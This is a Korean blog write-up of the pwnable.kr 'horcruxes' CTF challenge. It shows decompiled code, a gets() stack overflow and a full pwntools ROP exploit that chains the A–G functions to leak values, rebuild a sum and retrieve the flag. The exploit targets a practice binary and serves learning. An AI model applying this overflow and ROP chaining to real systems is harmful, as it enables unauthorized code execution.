본문 바로가기

CTF_Write_UP/pwnable.kr

[pwnable.kr] horcruxes

시작

안녕하세요!!

Toddler’s Bottle의 마지막 문제, horcruxes를 풀어봤어요 :D

IDA 없이 GDB로만 보다가 도저히 눈에 안들어와서.. 구글링과 함께한 풀이입니다.
똑똑이 분들이 참 많더라구요ㅠㅠㅠ 대단쓰

풀 때마다 새로운 ROP 문제였습니다 바로 시작해보죠!!

Write UP

Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi

ssh horcruxes@pwnable.kr -p2222 (pw:guest)

Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and destroy it!

Select Menu:1
How many EXP did you earned? : 100
You'd better get more experience to kill Voldemort

메뉴도 안 주고 다짜고짜 고르라고 한 담에 경험치를 얼마나 얻었냐고 물어봅니다.
100을 던져주니 더 얻어오라고 하네요.

gdb로 볼 수 있는 건 다 봐야겠죠?

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x0809fbec  _init
0x0809fc20  seccomp_init@plt
0x0809fc30  read@plt
0x0809fc40  printf@plt
0x0809fc50  gets@plt
0x0809fc60  seccomp_rule_add@plt
0x0809fc70  getchar@plt
0x0809fc80  seccomp_load@plt
0x0809fc90  alarm@plt
0x0809fca0  puts@plt
0x0809fcb0  exit@plt
0x0809fcc0  open@plt
0x0809fcd0  srand@plt
0x0809fce0  __libc_start_main@plt
0x0809fcf0  setvbuf@plt
0x0809fd00  rand@plt
0x0809fd10  __isoc99_scanf@plt
0x0809fd20  atoi@plt
0x0809fd30  close@plt
0x0809fd50  _start
0x0809fd80  __x86.get_pc_thunk.bx
0x0809fd90  deregister_tm_clones
0x0809fdc0  register_tm_clones
0x0809fe00  __do_global_dtors_aux
0x0809fe20  frame_dummy
0x0809fe4b  A
0x0809fe6a  B
0x0809fe89  C
0x0809fea8  D
0x0809fec7  E
0x0809fee6  F
0x0809ff05  G
0x0809ff24  main
0x080a0009  ropme
0x080a0177  init_ABCDEFG
0x080a0324  hint
0x080a0350  __libc_csu_init
0x080a03b0  __libc_csu_fini
0x080a03b4  _fini

A B C D E F G 함수와 ropme 함수가 눈에 띄네요.
IDA로 각 함수들을 확인해보죠.

unsigned int init_ABCDEFG()
{
    int v0;
    unsigned int result;
    unsigned int buf;
    int fd;

    fd = open("/dev/urandom", 0);
    if ( read(fd, &buf, 4u) != 4 )
    {
        puts("/dev/urandom error");
        exit(0);
    }
    close(fd);
    srand(buf);
    a = -559038737 * rand() % 0xCAFEBABE;
    b = -559038737 * rand() % 0xCAFEBABE;
    c = -559038737 * rand() % 0xCAFEBABE;
    d = -559038737 * rand() % 0xCAFEBABE;
    e = -559038737 * rand() % 0xCAFEBABE;
    f = -559038737 * rand() % 0xCAFEBABE;
    v0 = rand();
    g = -559038737 * v0 % 0xCAFEBABE;
    result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
    sum = result;
    return result;
}

init_ABCDEFG()

전역변수 a, b, c, d, e, f, g와 sum의 값을 설정해주고 sum(=result)를 return합니다.
각 변수들에 난수를 집어넣네요.

int ropme()
{
    char s[100];
    int v2;
    int fd;

    printf("Select Menu:");
    __isoc99_scanf("%d", &v2);
    getchar();
    if ( v2 == a )
    {
        A();
    }
    else if ( v2 == b )
    {
        B();
    }
    else if ( v2 == b )
    {
        B();
    }
    else if ( v2 == c )
    {
        C();
    }
    else if ( v2 == d )
    {
        D();
    }
    else if ( v2 == e )
    {
        E();
    }
    else if ( v2 == f )
    {
        F();
    }
    else if ( v2 == g )
    {
        G();
    }
    else
    {
        printf("How many EXP did you earned? : ");
        gest(s);
        if ( atoi(s) == sum )
        {
            fd = open("flag", 0);
            s[read(fd, s, 0x64u)] = 0;
            puts(s);
            close(fd);
            exit(0);
        }
    puts("You'd better get more experience to kill Voldemort");
    }
    return 0;
}

ropme()

scanf()로 받은 값이 알파벳과 같으면 A(), B().. 함수를 호출합니다.
init_ABCDEFG()에서 계산한 sum과 gets()로 입력받은 값이 같다면 flag 파일을 읽어주네요.
A()는 무슨 함수인지 확인하면 대충 흐름이 보이겠네요.

int __cdecl A()
{
    return printf("You found \"Tom Riddle's Diary\" (EXP + %d)\n", a);
}

A()

전역변수 a를 출력합니다. 간단하네요.

 

 

코드의 흐름을 쭉 살펴봤습니다.
gdb로 해보려고 했는데 진짜 정리가 안 돼서.. 사람은 IDA를 써야해요 이 얼마나 클-린합니까 ㅠㅠ

맘 같아선 if문 안으로 뛰고 싶지만 leave ret이 실행되면서 스택프레임이 아작나기 때문에 제대로된 함수 실행이 불가능해요.

따라서 main 함수에 쓰여있는 call ropme를 이용하겠습니다.

익스 코드의 시나리오는 다음과 같습니다.

1. gets()에서 BOF 발생, A B C D E F G 함수를 각각 호출

1.1얘네들은 인자를 받지 않기 때문에 가젯이 필요없음!! rop chain을 쭉 연결하면 됨

2. 함수들을 거쳐서 얻어낸 전역변수 a b c d e f g의 값을 통해 sum 값 계산
3. main의 call ropme를 이용, 처음으로 돌아가서 sum 값을 입력!! → flag

from pwn import *

#context.log_level = "debug"

p = remote("localhost", 9032)

payload = ""

A = 0x809fe4b
B = 0x809fe6a
C = 0x809fe89
D = 0x809fea8
E = 0x809fec7
F = 0x809fee6
G = 0x809ff05
ROPME = 0x809fffc

p.recvuntil("Menu:")
p.sendline("1")
p.recvuntil("earned? : ")

payload += "A" * 120    #BUF + SFP
payload += p32(A)       #RET
payload += p32(B)
payload += p32(C)
payload += p32(D)
payload += p32(E)
payload += p32(F)
payload += p32(G)
payload += p32(ROPME)

p.sendline(payload)

total = 0

for i in range(0, 7) :
        p.recvuntil("EXP +")
        total += int(p.recvuntil(")")[:-1])
        log.info("total = " + str(total))

p.recvuntil("Menu:")
p.sendline("1")
p.recvuntil("earned? : ")
p.sendline(str(total))

log.info(p.recv())
[+] Opening connection to localhost on port 9032: Done
[*] total = 776693697
[*] total = 2206960085
[*] total = 2539918724
[*] total = 1482020656
[*] total = 2342495279
[*] total = 208828167
[*] total = -1483435256
[*] Magic_spell_1s_4vad4_K3daVr4!
[*] Closed connection to localhost port 9032

Exlploit!!!

파이썬 인덱싱 공부가 부족해서 저기 [:-1]을 한참 찾아봤습니다ㅋㅋㅋㅋㅋㅋ

>>> s = "Hello World" 
>>> s[:-1] 
'Hello Worl' 
>>> s[:-2] 
'Hello Wor' 
>>> s[-1:] 
'd' 
>>> s[-2:] 
'ld'

[:-1]이면 문자열의 처음부터 끝 - 1 까지!!
p.recvuntil(")")를 하면 문자열에 12345678) 가 들어가니깐 )를 빼 주기 위해 [:-1] 처리를 한 거에요.

또 가끔 total 값이 int의 범위를 넘어가서 Flag가 안떨어지는 경우도 있어요ㅎㅎ..

마무리

어찌저찌 Toddler’s Bottle 문제들을 풀어냈네요.
pwnable.kr을 처음 접할 때가 3~4월이었는데, 많이 발전했습니다 진짜ㅠㅠㅠ

fd도 못 풀던 바보가 rop를 가지고 놀 줄은 어떻게 알았겠어요 ㅎㅎㅎ

bof, passcode, uaf 같은 문제는 잊지 못할 것 같습니다. 더 깊게 공부해야 할 것 같아요 특히 uaf.. 무서운 힙..

감사합니다 :D

'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] asm  (0) 2019.09.13
[pwnable.kr] unlink  (0) 2019.08.30
[pwnable.kr] fsb  (0) 2019.06.26
[pwnable.kr] unexploitable  (0) 2019.06.20
pwnable.kr : uaf 풀이  (0) 2019.04.18